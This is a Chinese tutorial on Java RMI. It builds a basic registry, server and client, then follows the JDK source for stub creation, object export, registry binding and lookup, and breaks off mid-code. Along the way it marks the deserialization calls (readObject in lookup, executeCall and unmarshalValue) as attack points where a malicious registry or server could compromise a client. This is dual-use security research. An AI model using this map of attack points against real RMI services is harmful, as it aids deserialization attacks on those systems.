RMI专题

RMI简介

最早的最早,从分布式概念出现以后,工程师们,制造了一种,基于Java语言的远程方法调用的东西,它叫RMI(Remote Method Invocation),我们使用Java代码,可以利用这种技术,去跨越JVM,调用另一个JVM的类方法。

因为任何东西都是基于socket,RMIClient直接去找RMIServer,并不知道这个类是基于哪个端口的,所以有了RMI Registry

我们需要把被调用的类,注册到一个叫做RMI Registry的地方,只有把类注册到这个地方,调用者就能通过RMI Registry找到类所在JVM的ip和port,才能跨越JVM完成远程方法的调用。

实现

这里我们来做一个简单的实现

我们需要准备一个Client和一个Server,首先他们需要定义一个一样的接口IRemoteObj

1
2
3
4
5
6
7
8
9
package com.source;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}

服务端

服务端需要去把这个接口实现,因为最后调用的是服务端的代码

RemoteObjlmpl这个类在定义的时候有要求,需要继承UnicastRemoteObject这个类(如果你想把这个绑定到RMIRegistry中,就需要去继承它

1
2
3
4
5
6
7
8
9
10
11
public class RemoteObjlmpl extends UnicastRemoteObject  implements IRemoteObj{

public RemoteObjlmpl() throws RemoteException {}
@Override
public String sayHello(String keywords){
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
}

在服务端代码中,首先我们需要去创建一个远程对象来保证通信,但是客户端并不知道这个端口是多少,所以需要一个注册中心RMIregistry,它是有固定端口的,一般是1099,最后把注册中心绑定到远程对象上

1
2
3
4
5
6
7
public class RMIServer {
public static void main(String[] args) throws Exception {
IRemoteObj remoteObj = new RemoteObjlmpl();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("remoteObj",remoteObj);
}
}

客户端

客户端获取注册中心(ip和端口都是固定的),从注册中心中查找remoteObj远程对象,然后去调用他的方法
1
2
3
4
5
6
7
public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

在这通信过程中,通过网络操作去实现一个内存操作,这里面有一个对象的创建和调用过程,这里面全是通过序列化和反序列化实现的

源码层面分析

创建远程服务

创建远程服务代码如下,我们动态调试来看一下
1
IRemoteObj remoteObj = new RemoteObjlmpl();

首先会调用RemoteObjImpl的构造方法

由于这个类继承于UnicastRemoteObject,使用会调用父类的无参构造

在其父类的构造方法中,会将默认port设置为0(后续会随机设置一个端口)

1
2
3
4
5
6
7
8
9
10
protected UnicastRemoteObject() throws RemoteException
{
this(0);
}

protected UnicastRemoteObject(int port) throws RemoteException
{
this.port = port;
exportObject((Remote) this, port);
}

之后会有一系列的赋值,我们就不细看了

在其构造方法中,会调用exportObject,它的名字就是”导出对象“,很明显是我们的核心函数

其中,它创建了一个UnicastServerRef,”服务端引用“,其中传入了一个端口,前面这个obj,很明显是我们用来实现逻辑的,而后面这个对象,就是我们用来处理网络请求的了

1
2
3
4
5
public static Remote exportObject(Remote obj, int port)
throws RemoteException
{
return exportObject(obj, new UnicastServerRef(port));
}

在UnicastServerRef的构造函数中,创建了一个LiveRef类(非常重要的一个类),将port传入其构造函数

1
2
3
public UnicastServerRef(int port) {
super(new LiveRef(port));
}

(其中传入的一个ObjID我们就不多说了)其中TCPEndpoint的构造函数(一个IP,一个端口),很明显就是用来处理网络请求的

LiveRef中,存着endpoint,objID与isLocal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public LiveRef(int port) {
this((new ObjID()), port);
}

public LiveRef(ObjID objID, int port) {
this(objID, TCPEndpoint.getLocalEndpoint(port), true);
}

public LiveRef(ObjID objID, Endpoint endpoint, boolean isLocal) {
ep = endpoint;
id = objID;
this.isLocal = isLocal;
}

//TCPEndpoint
public TCPEndpoint(String host, int port) {
this(host, port, null, null);
}

其中ep存入的东西如下(目前port为0),后面我们会说到,transport才是真正处理网络请求的东西,外面的每一层都是对它的封装

这样LiveRef就创建好了,然后会调用它父类的构造函数

在其父类的构造函数,也是简单赋了值

1
2
3
4
5
6
7
public UnicastServerRef(int port) {
super(new LiveRef(port));
}

public UnicastRef(LiveRef liveRef) {
ref = liveRef;
}

返回回去,我们进入exportObject方法,在sref中,封装着LiveRef

在这段中,就是一直在不同的类中调用exportObject

1
2
3
4
5
6
7
8
9
10
private static Remote exportObject(Remote obj, UnicastServerRef sref)
throws RemoteException
{
// if obj extends UnicastRemoteObject, set its ref.
if (obj instanceof UnicastRemoteObject) {
((UnicastRemoteObject) obj).ref = sref;
}
return sref.exportObject(obj, null, false);
}
}

进入sref中的exportObject方法,在这里创建了代理stub

那么有人问了,我这里不是服务端吗,为什么会创建客户端的stub呢?

这里是因为,是服务端创建stub,将stub放在注册中心,客户端去注册中心拿到stub,然后用stub去操作skeleton

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Remote exportObject(Remote impl, Object data,
boolean permanent)
throws RemoteException
{
Class<?> implClass = impl.getClass();
Remote stub;

try {
stub = Util.createProxy(implClass, getClientRef(), forceStubUse);
} catch (IllegalArgumentException e) {
throw new ExportException(
"remote object implements illegal remote interface", e);
}
if (stub instanceof RemoteStub) {
setSkeleton(impl);
}

Target target =
new Target(impl, this, stub, ref.getObjID(), permanent);
ref.exportObject(target);
hashToMethod_Map = hashToMethod_Maps.get(implClass);
return stub;
}

我们看看createProxy中的逻辑,其中implClass中放的是远程对象的类,clientRef中放着LiveRef

其中有一个判断,forceStubUse和ignoreStubClasses咱们暂时不解释它,看一下stubClassExists中的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static Remote createProxy(Class<?> implClass,
RemoteRef clientRef,
boolean forceStubUse)
throws StubNotFoundException
{
Class<?> remoteClass;

...

if (forceStubUse ||
!(ignoreStubClasses || !stubClassExists(remoteClass)))
{
return createStub(remoteClass, clientRef);
}

...
}

它判断,如果存在 远程类的名字+ “_Stub” 这个类,他就会走进去

实际上JDK中有一些类是已经定义好的(现在我们先过,后面会说)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private static boolean stubClassExists(Class<?> remoteClass) {
if (!withoutStubs.containsKey(remoteClass)) {
try {
Class.forName(remoteClass.getName() + "_Stub",
false,
remoteClass.getClassLoader());
return true;

} catch (ClassNotFoundException cnfe) {
withoutStubs.put(remoteClass, null);
}
}
return false;
}

还是在这个类中,接下来就会创建动态代理,经过些,动态代理就已经创建好了

1
2
3
4
5
6
7
8
9
10
try {
return AccessController.doPrivileged(new PrivilegedAction<Remote>() {
public Remote run() {
return (Remote) Proxy.newProxyInstance(loader,
interfaces,
handler);
}});
} catch (IllegalArgumentException e) {
throw new StubNotFoundException("unable to create proxy", e);
}

tip:在创建代理过程中的几个参数如下

若上述过程中,存在这么一个系统内置的stub类,就会进入下面的if当中(后续讨论)

1
2
3
if (stub instanceof RemoteStub) {
setSkeleton(impl);
}

创建完成后,会将当前有用的信息封装进入,就是一个总封装(其中封装的信息如下)

1
2
Target target =
new Target(impl, this, stub, ref.getObjID(), permanent);

接下来就把我们封装的东西发布出去(使用exportObject函数),我们进入看一下它的逻辑

1
ref.exportObject(target);

这里会层层调用exportObject函数,最终走到了TCPTransport的exportObject,这里是最终处理网络请求的地方,在TCPTransport#exportObject会调用listen函数,这里就会开放端口,我们跟进去看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//LiveRef#exportObject
public void exportObject(Target target) throws RemoteException {
ep.exportObject(target);
}

// TCPEndpoint#exportObject
public void exportObject(Target target) throws RemoteException {
transport.exportObject(target);
}

//TCPTransport#exportObject
public void exportObject(Target target) throws RemoteException {
/*
* Ensure that a server socket is listening, and count this
* export while synchronized to prevent the server socket from
* being closed due to concurrent unexports.
*/
synchronized (this) {
listen();
exportCount++;
}

/*
* Try to add the Target to the exported object table; keep
* counting this export (to keep server socket open) only if
* that succeeds.
*/
boolean ok = false;
try {
super.exportObject(target);
ok = true;
} finally {
if (!ok) {
synchronized (this) {
decrementExportCount();
}
}
}
}

server = ep.newServerSocket();构造了一个socket,创建一个线程后打开线程,等待别人来连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// TCPTransport#listen
private void listen() throws RemoteException {
assert Thread.holdsLock(this);
TCPEndpoint ep = getEndpoint();
int port = ep.getPort();

if (server == null) {
if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF,
"(port " + port + ") create server socket");
}

try {
server = ep.newServerSocket();
/*
* Don't retry ServerSocket if creation fails since
* "port in use" will cause export to hang if an
* RMIFailureHandler is not installed.
*/
Thread t = AccessController.doPrivileged(
new NewThreadAction(new AcceptLoop(server),
"TCP Accept-" + port, true));
t.start();
} catch (java.net.BindException e) {
throw new ExportException("Port already in use: " + port, e);
} catch (IOException e) {
throw new ExportException("Listen failed on port: " + port, e);
}

} else {
// otherwise verify security access to existing server socket
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
sm.checkListen(port);
}
}
}

在构造socket的过程中,如果说端口是0的话,就会随机设置一个端口

1
2
if (listenPort == 0)
setDefaultPort(server.getLocalPort(), csf, ssf);

最后经过一系列返回,最后ObjectTable中,使用putTarget将target保存在了一个静态表objTable中

1
2
3
...
objTable.put(oe, target);
implTable.put(weakImpl, target);

创建服务端的代码就走完了,最后等待连接

创建注册中心+绑定

创建注册中心

tip:表面上注册中心和远程服务是不一样的东西,但是实际上是一样的东西

创建注册中心代码如下,我们将1099默认端口传入

1
Registry r = LocateRegistry.createRegistry(1099);

走进createRegistry方法中,该方法会创建RegistryImpl对象

1
2
3
public static Registry createRegistry(int port) throws RemoteException {
return new RegistryImpl(port);
}

我们看一下它的构造方法,首先开头的if判断是一个安全验证的东西,我们暂时不看,在下方else中,会创建LiveRef对象和UnicastServerRef对象,UnicastServerRef中放入LiveRef(和我们之看的创建远程服务很是类似)最后调用了一个setup方法

1
2
3
4
5
6
7
8
9
10
public RegistryImpl(int port)
throws RemoteException
{
if (port == Registry.REGISTRY_PORT && System.getSecurityManager() != null) {
...
} else {
LiveRef lref = new LiveRef(id, port);
setup(new UnicastServerRef(lref));
}
}

看看再setup方法中干了些什么

与注册远程服务时UnicastRemoteObject#exportObject相比,只有第三个参数由false变为了ture

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void setup(UnicastServerRef uref)
throws RemoteException
{
/* Server ref must be created and assigned before remote
* object 'this' can be exported.
*/
ref = uref;
uref.exportObject(this, null, true);
}

// UnicastRemoteObject#exportObject
private static Remote exportObject(Remote obj, UnicastServerRef sref)
throws RemoteException
{
// if obj extends UnicastRemoteObject, set its ref.
if (obj instanceof UnicastRemoteObject) {
((UnicastRemoteObject) obj).ref = sref;
}
return sref.exportObject(obj, null, false);
}

boolean permanent为第三个参数,意为永久性,所以说我们现在创建的注册中心是一个永久性的对象,而之前说的远程服务是一个临时性的对象

1
2
public Remote exportObject(Remote impl, Object data,
boolean permanent)

接下来我们应该可以回顾起来之前的知识

下面我把有区别的地方拿出来,再最后调用的stubClassExists中的if判断时候,最终会找到RegistryImpl_Stub类,所以会走到try中的函数并返回true

createProxy的if判断中返回true后,会走到if中,执行createStub函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// UnicastServerRef#exportObject
public Remote exportObject(Remote impl, Object data,
boolean permanent)
throws RemoteException
{
...
try {
stub = Util.createProxy(implClass, getClientRef(), forceStubUse);
} catch (IllegalArgumentException e) {
throw new ExportException(
"remote object implements illegal remote interface", e);
}
...
}

// Util#createProxy
public static Remote createProxy(Class<?> implClass,
RemoteRef clientRef,
boolean forceStubUse)
throws StubNotFoundException
{
...
if (forceStubUse ||
!(ignoreStubClasses || !stubClassExists(remoteClass)))
{
return createStub(remoteClass, clientRef);
}
...
}

// Util#stubClassExists
private static boolean stubClassExists(Class<?> remoteClass) {
if (!withoutStubs.containsKey(remoteClass)) {
try {
Class.forName(remoteClass.getName() + "_Stub",
false,
remoteClass.getClassLoader());
return true;

} catch (ClassNotFoundException cnfe) {
withoutStubs.put(remoteClass, null);
}
}
return false;
}

createStub函数中也非常简单,将我们所找到的类先初始化,再实例化出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
private static RemoteStub createStub(Class<?> remoteClass, RemoteRef ref)
throws StubNotFoundException
{
String stubname = remoteClass.getName() + "_Stub";

/* Make sure to use the local stub loader for the stub classes.
* When loaded by the local loader the load path can be
* propagated to remote clients, by the MarshalOutputStream/InStream
* pickle methods
*/
try {
Class<?> stubcl =
Class.forName(stubname, false, remoteClass.getClassLoader());
Constructor<?> cons = stubcl.getConstructor(stubConsParamTypes);
return (RemoteStub) cons.newInstance(new Object[] { ref });

} catch (ClassNotFoundException e) {
throw new StubNotFoundException(
"Stub class not found: " + stubname, e);
} catch (NoSuchMethodException e) {
throw new StubNotFoundException(
"Stub class missing constructor: " + stubname, e);
} catch (InstantiationException e) {
throw new StubNotFoundException(
"Can't create instance of stub class: " + stubname, e);
} catch (IllegalAccessException e) {
throw new StubNotFoundException(
"Stub class constructor not public: " + stubname, e);
} catch (InvocationTargetException e) {
throw new StubNotFoundException(
"Exception creating instance of stub class: " + stubname, e);
} catch (ClassCastException e) {
throw new StubNotFoundException(
"Stub class not instance of RemoteStub: " + stubname, e);
}
}

创建完成之后的Stub是一个RegistryImpl_Stub,其中封装着UnicastRefUnicastRef封装着LiveR``ef

由于我们的Stub是RegistryImpl_Stub,是JDK中自带的Stub,而它是继承于RemoteStub的,所以会进入到if当中,执行setSkeleton方法

1
public final class RegistryImpl_Stub extends RemoteStub implements Registry, Remote 
1
2
3
if (stub instanceof RemoteStub) {
setSkeleton(impl);
}

setSkeleton方法中,会创建一个Sekleton,服务端和客户端都会有代理来处理网络请求,客户端代理为Stub,而服务端代理则为Sekleton

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void setSkeleton(Remote impl) throws RemoteException {
if (!withoutSkeletons.containsKey(impl.getClass())) {
try {
skel = Util.createSkeleton(impl);
} catch (SkeletonNotFoundException e) {
/*
* Ignore exception for skeleton class not found, because a
* skeleton class is not necessary with the 1.2 stub protocol.
* Remember that this impl's class does not have a skeleton
* class so we don't waste time searching for it again.
*/
withoutSkeletons.put(impl.getClass(), null);
}
}
}

最后也是直接通过 远程类的名字+ “_Skel” 初始化并且实例化这个类并返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static Skeleton createSkeleton(Remote object)
throws SkeletonNotFoundException
{
Class<?> cl;
try {
cl = getRemoteClass(object.getClass());
} catch (ClassNotFoundException ex ) {
throw new SkeletonNotFoundException(
"object does not implement a remote interface: " +
object.getClass().getName());
}

// now try to load the skeleton based ont he name of the class
String skelname = cl.getName() + "_Skel";
try {
Class<?> skelcl = Class.forName(skelname, false, cl.getClassLoader());

return (Skeleton)skelcl.newInstance();
} catch (ClassNotFoundException ex) {
throw new SkeletonNotFoundException("Skeleton class not found: " +
skelname, ex);
} catch (InstantiationException ex) {
throw new SkeletonNotFoundException("Can't create skeleton: " +
skelname, ex);
} catch (IllegalAccessException ex) {
throw new SkeletonNotFoundException("No public constructor: " +
skelname, ex);
} catch (ClassCastException ex) {
throw new SkeletonNotFoundException(
"Skeleton not of correct class: " + skelname, ex);
}
}

最后也是,创建一个Target,去吧有用的东西都存入进去,并把我们封装的东西发布出去(使用exportObject函数)

1
2
3
Target target =
new Target(impl, this, stub, ref.getObjID(), permanent);
ref.exportObject(target);

最后在TCPTransport中的exportObject方法中调用其父类的exportObject,使用putTarget方法,将所封装的Target放入静态表中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// TCPTransport#exportObject
public void exportObject(Target target) throws RemoteException {
...
try {
super.exportObject(target);
ok = true;
} ...
}

// Transport#exportObject
public void exportObject(Target target) throws RemoteException {
target.setExportedTransport(this);
ObjectTable.putTarget(target);
}

// ObjectTable#putTarget
static void putTarget(Target target) throws ExportException {
...
objTable.put(oe, target);
implTable.put(weakImpl, target);

...
}

在静态表中,一共有三个Stub,其中一个是DGCImpl_Stub(分布式垃圾回收,默认创建),可以在表中点着看看,实际上其实和远程服务是一个东西

这就是创建注册中心的流程

绑定

相比于其他的,这个绑定流程就非常简单了
1
r.bind("remoteObj",remoteObj);

进入到bind方法中

其中checkAccess方法是检查是否在本地绑定

bindings是一个静态表,bindings.get是从静态表中寻找name的,如果说表中存在该name的绑定,则会抛出一个AlreadyBoundException的异常,如果没有的话,就会将(name,远程对象)put进去。

1
2
3
4
5
6
7
8
9
10
11
public void bind(String name, Remote obj)
throws RemoteException, AlreadyBoundException, AccessException
{
checkAccess("Registry.bind");
synchronized (bindings) {
Remote curr = bindings.get(name);
if (curr != null)
throw new AlreadyBoundException(name);
bindings.put(name, obj);
}
}

tips:在RMI的实现上,要求注册中心和服务端在同一台主机上,低版本时实现上允许远程绑定,导致一些漏洞

客户端请求注册中心-客户端

客户端会做两件事情,第一个就是向注册中心去拿远程对象的代理,第二个对服务端进行一个调用

有人会觉得,我获取一个远程对象,肯定要有序列化和反序列化,但实际却不太一样

1
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);

实际,我们将ip和端口传入,他首先是封装了一个LiveRef,然后调用Util.createProxy方法

和我们之前看到的创建流程好像一样,其实是在本地创建了一个,我们就有了注册中心的stub对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// LocateRegistry#getRegistry
public static Registry getRegistry(String host, int port)
throws RemoteException
{
return getRegistry(host, port, null);
}
// LocateRegistry#getRegistry
public static Registry getRegistry(String host, int port,
RMIClientSocketFactory csf)
throws RemoteException
{
Registry registry = null;

if (port <= 0)
port = Registry.REGISTRY_PORT;

if (host == null || host.length() == 0) {
// If host is blank (as returned by "file:" URL in 1.0.2 used in
// java.rmi.Naming), try to convert to real local host name so
// that the RegistryImpl's checkAccess will not fail.
try {
host = java.net.InetAddress.getLocalHost().getHostAddress();
} catch (Exception e) {
// If that failed, at least try "" (localhost) anyway...
host = "";
}
}
LiveRef liveRef =
new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false);
RemoteRef ref =
(csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}

下一步就是去查找远程对象,客户端将名字给过去,获取到一个远程对象的代理

1
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");

我们进入lookup方法看一下,首先它将我们传入的那个名字(字符串),写入了一个输出流,就是序列化进去了,后续肯定还有一个反序列化的点

后面还有一个读输入流的地方,将输入流读出来的进行反序列化,赋值到var23上,我们可以知道,这个var23就是我们从注册中心获取回来的stub

其中对从注册中心读到的输入流进行反序列化的这个地方,可能就存在攻击点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}

super.ref.invoke(var2);

Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}

return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}

super.ref.invoke(var2);调用了UnicastRefinvoke方法,它调用了executeCall方法,这个方法是用来处理网络请求的

1
2
3
4
5
6
7
8
public void invoke(RemoteCall call) throws Exception {
try {
clientRefLog.log(Log.VERBOSE, "execute call");

call.executeCall();

} ...
}

这里还存在一个攻击点,就在StreamRemoteCallexecuteCall方法中

如果返回异常,且异常为TransportConstants.ExceptionalReturn,就会将这个异常反序列化出来,如果说注册中心返回一个恶意的流,就会导致客户端被攻击

这里的攻击面是非常广的,只要调用了StreamRemoteCall#executeCall或者说UnicastRef#invoke,就会有攻击面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public void executeCall() throws Exception {
...

// read return value
switch (returnType) {
case TransportConstants.NormalReturn:
break;

case TransportConstants.ExceptionalReturn:
Object ex;
try {
ex = in.readObject();
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}

// An exception should have been received,
// if so throw it, else flag error
if (ex instanceof Exception) {
exceptionReceivedFromServer((Exception) ex);
} else {
throw new UnmarshalException("Return type not Exception");
}
// Exception is thrown before fallthrough can occur
default:
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"return code invalid: " + returnType);
}
throw new UnmarshalException("Return code invalid");
}
}

客户端请求服务端-客户端

我们来看一下客户端请求服务端,客户端是怎么做的
1
System.out.println(remoteObj.sayHello("SheepSean"));

第一步,我们会走到一个非预期的地方,因为remoteObj是一个动态远程代理,调用它的任何方法,都会跳到invoke方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable
{
if (! Proxy.isProxyClass(proxy.getClass())) {
throw new IllegalArgumentException("not a proxy");
}

if (Proxy.getInvocationHandler(proxy) != this) {
throw new IllegalArgumentException("handler mismatch");
}

if (method.getDeclaringClass() == Object.class) {
return invokeObjectMethod(proxy, method, args);
} else if ("finalize".equals(method.getName()) && method.getParameterCount() == 0 &&
!allowFinalizeInvocation) {
return null; // ignore
} else {
return invokeRemoteMethod(proxy, method, args);
}
}

最后它走到了invokeRemoteMethod中,在其中,我们要看一下ref.invoke方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private Object invokeRemoteMethod(Object proxy,
Method method,
Object[] args)
throws Exception
{
try {
if (!(proxy instanceof Remote)) {
throw new IllegalArgumentException(
"proxy not Remote instance");
}
return ref.invoke((Remote) proxy, method, args,
getMethodHash(method));
} catch (Exception e) {
......
}
}

UnicastRef#invoke中,仍然调用了call.executeCall(),我们知道,只要与网络请求有关的就会调用它,这里会有一个攻击点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
public Object invoke(Remote obj,
Method method,
Object[] params,
long opnum)
throws Exception
{
if (clientRefLog.isLoggable(Log.VERBOSE)) {
clientRefLog.log(Log.VERBOSE, "method: " + method);
}

if (clientCallLog.isLoggable(Log.VERBOSE)) {
logClientCall(obj, method);
}

Connection conn = ref.getChannel().newConnection();
RemoteCall call = null;
boolean reuse = true;

/* If the call connection is "reused" early, remember not to
* reuse again.
*/
boolean alreadyFreed = false;

try {
if (clientRefLog.isLoggable(Log.VERBOSE)) {
clientRefLog.log(Log.VERBOSE, "opnum = " + opnum);
}

// create call context
call = new StreamRemoteCall(conn, ref.getObjID(), -1, opnum);

// marshal parameters
try {
ObjectOutput out = call.getOutputStream();
marshalCustomCallData(out);
Class<?>[] types = method.getParameterTypes();
for (int i = 0; i < types.length; i++) {
marshalValue(types[i], params[i], out);
}
} catch (IOException e) {
clientRefLog.log(Log.BRIEF,
"IOException marshalling arguments: ", e);
throw new MarshalException("error marshalling arguments", e);
}

// unmarshal return
call.executeCall();

try {
Class<?> rtype = method.getReturnType();
if (rtype == void.class)
return null;
ObjectInput in = call.getInputStream();

/* StreamRemoteCall.done() does not actually make use
* of conn, therefore it is safe to reuse this
* connection before the dirty call is sent for
* registered refs.
*/
Object returnValue = unmarshalValue(rtype, in);

/* we are freeing the connection now, do not free
* again or reuse.
*/
alreadyFreed = true;

/* if we got to this point, reuse must have been true. */
clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");

/* Free the call's connection early. */
ref.getChannel().free(conn, true);

return returnValue;

} catch (IOException e) {
clientRefLog.log(Log.BRIEF,
"IOException unmarshalling return: ", e);
throw new UnmarshalException("error unmarshalling return", e);
} catch (ClassNotFoundException e) {
clientRefLog.log(Log.BRIEF,
"ClassNotFoundException unmarshalling return: ", e);

throw new UnmarshalException("error unmarshalling return", e);
} finally {
try {
call.done();
} catch (IOException e) {
/* WARNING: If the conn has been reused early,
* then it is too late to recover from thrown
* IOExceptions caught here. This code is relying
* on StreamRemoteCall.done() not actually
* throwing IOExceptions.
*/
reuse = false;
}
}

} catch (RuntimeException e) {
/*
* Need to distinguish between client (generated by the
* invoke method itself) and server RuntimeExceptions.
* Client side RuntimeExceptions are likely to have
* corrupted the call connection and those from the server
* are not likely to have done so. If the exception came
* from the server the call connection should be reused.
*/
if ((call == null) ||
(((StreamRemoteCall) call).getServerException() != e))
{
reuse = false;
}
throw e;

} catch (RemoteException e) {
/*
* Some failure during call; assume connection cannot
* be reused. Must assume failure even if ServerException
* or ServerError occurs since these failures can happen
* during parameter deserialization which would leave
* the connection in a corrupted state.
*/
reuse = false;
throw e;

} catch (Error e) {
/* If errors occurred, the connection is most likely not
* reusable.
*/
reuse = false;
throw e;

} finally {

/* alreadyFreed ensures that we do not log a reuse that
* may have already happened.
*/
if (!alreadyFreed) {
if (clientRefLog.isLoggable(Log.BRIEF)) {
clientRefLog.log(Log.BRIEF, "free connection (reuse = " +
reuse + ")");
}
ref.getChannel().free(conn, reuse);
}
}
}

还有一个地方,这个方法会将传入的参数传入marshalValue中,这里面是进行序列化操作的,那么有序列化,肯定还有反序列化,就在executeCall后的unmarshalValue方法内,将传回来的参数进行反序列化,这里就又存在一个攻击点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected static Object unmarshalValue(Class<?> type, ObjectInput in)
throws IOException, ClassNotFoundException
{
if (type.isPrimitive()) {
if (type == int.class) {
return Integer.valueOf(in.readInt());
} else if (type == boolean.class) {
return Boolean.valueOf(in.readBoolean());
} else if (type == byte.class) {
return Byte.valueOf(in.readByte());
} else if (type == char.class) {
return Character.valueOf(in.readChar());
} else if (type == short.class) {
return Short.valueOf(in.readShort());
} else if (type == long.class) {
return Long.valueOf(in.readLong());
} else if (type == float.class) {
return Float.valueOf(in.readFloat());
} else if (type == double.class) {
return Double.valueOf(in.readDouble());
} else {
throw new Error("Unrecognized primitive type: " + type);
}
} else {
return in.readObject();
}
}

客户端请求注册中心-注册中心

接下来我们看看当客户端请求注册中心的时候,注册中心做了一些什么样的操作
1
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");

服务端调用Skel,客户端调用Stub,所以断点应该下载RegistryImpl_Skel类中,我们也是需要看下到底是怎么调用到RegistryImpl_Skel中的

我们走到之前的listen方法处,listen方法创建了一个新的线程,主要需要去看AcceptLoop里面的run方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void listen() throws RemoteException {
assert Thread.holdsLock(this);
TCPEndpoint ep = getEndpoint();
int port = ep.getPort();

if (server == null) {
if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF,
"(port " + port + ") create server socket");
}

try {
server = ep.newServerSocket();
/*
* Don't retry ServerSocket if creation fails since
* "port in use" will cause export to hang if an
* RMIFailureHandler is not installed.
*/
Thread t = AccessController.doPrivileged(
new NewThreadAction(new AcceptLoop(server),
"TCP Accept-" + port, true));
t.start();
} catch (java.net.BindException e) {
throw new ExportException("Port already in use: " + port, e);
} catch (IOException e) {
throw new ExportException("Listen failed on port: " + port, e);
}
......
}

在AcceptLoop的run方法中,其实并没有什么东西,只有一个executeAcceptLoop方法,走入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public void run() {
try {
executeAcceptLoop();
} finally {
try {
/*
* Only one accept loop is started per server
* socket, so after no more connections will be
* accepted, ensure that the server socket is no
* longer listening.
*/
serverSocket.close();
} catch (IOException e) {
}
}
}

在executeAcceptLoop方法中,创建了新的线程ConnectionHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
private void executeAcceptLoop() {
if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF, "listening on port " +
getEndpoint().getPort());
}

while (true) {
Socket socket = null;
try {
socket = serverSocket.accept();

/*
* Find client host name (or "0.0.0.0" if unknown)
*/
InetAddress clientAddr = socket.getInetAddress();
String clientHost = (clientAddr != null
? clientAddr.getHostAddress()
: "0.0.0.0");

/*
* Execute connection handler in the thread pool,
* which uses non-system threads.
*/
try {
connectionThreadPool.execute(
